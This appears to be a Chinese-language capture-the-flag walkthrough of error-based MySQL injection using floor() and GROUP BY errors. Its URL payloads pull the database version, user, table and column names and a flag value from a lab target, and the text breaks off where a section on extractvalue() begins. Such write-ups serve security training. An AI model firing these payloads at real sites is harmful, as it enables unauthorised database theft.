文章目录
1、利用floor()函数进行报错注入
数据库版本5.5.47-0ubuntu0.14.04.1:
http://IP:4606/?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
连接用户sql_user@localhost
http://IP:4606/
?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
数据库名sql_db
http://IP:4606/
?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
表名:flag
http://IP:4606/
?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
字段名flag:
http://IP:4606/
?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x666c6167 LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
如果把LIMIT 1,1改为0,1,可以得到字段名id
字段内容:
http://IP:4606/
?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,flag,0x7e) FROM flag limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
2、利用extractvalue()函数进行报错注入
数据库版本:5.5.47-0ubuntu0.14.04.1
http://IP:4607/?id&